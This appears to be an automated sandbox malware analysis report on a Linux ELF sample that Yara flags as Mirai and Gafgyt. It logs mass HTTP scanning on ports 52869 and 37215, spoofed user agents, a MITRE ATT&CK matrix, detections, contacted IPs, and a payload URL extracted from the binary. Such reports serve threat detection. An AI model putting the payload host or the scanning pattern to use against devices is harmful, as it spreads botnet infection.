Source: unknown	Network traffic detected: HTTP traffic on port 43376 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50830 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39260 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38386 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40336 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54052 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40798 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46940 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52934 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55604 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47592 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40696 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49492 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58686 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34130 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57202 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41094 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36950 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35924 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55480 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39360 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46140 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35560 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44870 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34484 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52972 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43846 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34280 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55760 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40958 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40590 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47710 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44342 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38914 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33978 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40886 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33164 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54170 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52692 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54180 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38236 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42264 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33762 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32880 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37914 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48780 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45352 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52118 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55950 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47380 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54864 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33150 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51362 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58390 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41254 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45410 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39630 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48442 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57736 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37042 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40046 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47060 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44216 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48388 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42344 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48380 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60256 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59978 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45448 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37504 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58134 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58040 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53154 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47376 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58500 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35824 -> 37215

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: na.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5833, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5838, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Source: Initial sample	User agent string found: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: Initial sample	User agent string found: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Source: Initial sample	User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: na.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5833, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5838, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	1 Remote System Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
na.elf	71%	ReversingLabs	Linux.Trojan.Mirai
na.elf	100%	Avira	LINUX/Mirai.vaalx
na.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	na.elf	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	na.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope//	na.elf	false		unknown
http://104.248.167.251/mips;	na.elf	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	na.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.55.64.66	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
93.42.110.173	unknown	Italy	12874	FASTWEBIT	false
156.57.94.251	unknown	Canada	855	CANET-ASN-4CA	false
41.152.179.58	unknown	Egypt	36992	ETISALAT-MISREG	false
197.128.22.106	unknown	Morocco	6713	IAM-ASMA	false
183.21.163.3	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
160.197.255.122	unknown	Japan	7670	CTNETEnergiaCommunicationsIncJP	false
197.46.129.84	unknown	Egypt	8452	TE-ASTE-ASEG	false
219.243.247.222	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
197.214.155.139	unknown	Congo	37550	airtelcgCG	false
41.35.35.138	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.118.32.215	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.144.112.176	unknown	United States	3743	ARCEL-2US	false
41.62.154.181	unknown	unknown	37705	TOPNETTN	false
156.161.229.78	unknown	Egypt	36992	ETISALAT-MISREG	true
142.207.206.141	unknown	Canada	271	BCNET-ASCA	false
156.38.69.252	unknown	Togo	36924	GVA-CanalboxBJ	false
156.43.173.196	unknown	United Kingdom	4211	ASN-MARICOPA1US	false
156.143.35.221	unknown	United States	14319	FURMAN-2US	false
197.234.167.170	unknown	South Africa	37315	CipherWaveZA	false
41.68.48.233	unknown	Egypt	24835	RAYA-ASEG	false
197.13.57.232	unknown	Tunisia	37504	MeninxTN	false
197.10.137.20	unknown	Tunisia	5438	ATI-TN	false
197.233.253.29	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
197.249.194.125	unknown	Mozambique	25139	TVCABO-ASEU	false
139.29.139.142	unknown	Germany	8767	MNET-ASGermanyDE	false
197.217.101.156	unknown	Angola	11259	ANGOLATELECOMAO	false
197.206.51.3	unknown	Algeria	36947	ALGTEL-ASDZ	false
174.61.79.146	unknown	United States	7922	COMCAST-7922US	false
44.14.96.156	unknown	United States	7377	UCSDUS	false
156.215.177.107	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.204.25.235	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.4.200.33	unknown	Tunisia	5438	ATI-TN	false
197.36.87.0	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.87.73.240	unknown	Nigeria	37248	PHASE3TELNG	false
126.123.142.13	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
62.76.28.52	unknown	Russian Federation	57645	LICARD-ASMoscowRU	false
197.4.29.20	unknown	Tunisia	5438	ATI-TN	false
156.208.228.196	unknown	Egypt	8452	TE-ASTE-ASEG	false
93.87.81.65	unknown	Serbia	8400	TELEKOM-ASRS	false
178.66.52.44	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
197.216.246.202	unknown	Angola	11259	ANGOLATELECOMAO	false
197.69.35.31	unknown	South Africa	16637	MTNNS-ASZA	false
195.104.188.131	unknown	United Kingdom	8437	UTA-ASAT	false
41.114.147.155	unknown	South Africa	16637	MTNNS-ASZA	false
121.118.226.117	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
114.123.191.244	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
153.108.109.248	unknown	Switzerland	24952	FIRMENICH-ASCH	false
179.33.178.111	unknown	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
197.73.132.126	unknown	South Africa	16637	MTNNS-ASZA	false
41.250.5.193	unknown	Morocco	36903	MT-MPLSMA	false
219.68.87.11	unknown	Taiwan; Republic of China (ROC)	9416	MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	false
197.226.240.27	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.103.64.252	unknown	South Africa	3741	ISZA	false
197.57.39.68	unknown	Egypt	8452	TE-ASTE-ASEG	false
13.102.56.225	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.45.223.172	unknown	Egypt	8452	TE-ASTE-ASEG	false
192.253.43.41	unknown	United States	394384	EDGE-BROADBANDUS	false
41.231.241.106	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
121.78.11.32	unknown	Korea Republic of	9957	KINX-ASKINXKR	false
156.254.22.230	unknown	Seychelles	394281	XHOSTSERVERUS	false
41.92.113.51	unknown	Morocco	36925	ASMediMA	false
200.121.166.124	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
197.4.29.72	unknown	Tunisia	5438	ATI-TN	false
197.136.224.255	unknown	Kenya	36914	KENET-ASKE	false
41.95.142.168	unknown	Sudan	36998	SDN-MOBITELSD	false
204.73.116.30	unknown	United States	5006	VOYANTUS	false
87.3.161.112	unknown	Italy	3269	ASN-IBSNAZIT	false
197.43.51.199	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.206.5.16	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.179.254.24	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.223.92.186	unknown	unknown	36999	TELECOM-NAMIBIANA	false
197.124.151.108	unknown	Egypt	36992	ETISALAT-MISREG	false
103.227.88.135	unknown	Hong Kong	134078	NETPLUZ-AS-APNETPLUZHOLDINGSPRIVATELIMITEDSG	false
156.97.115.183	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
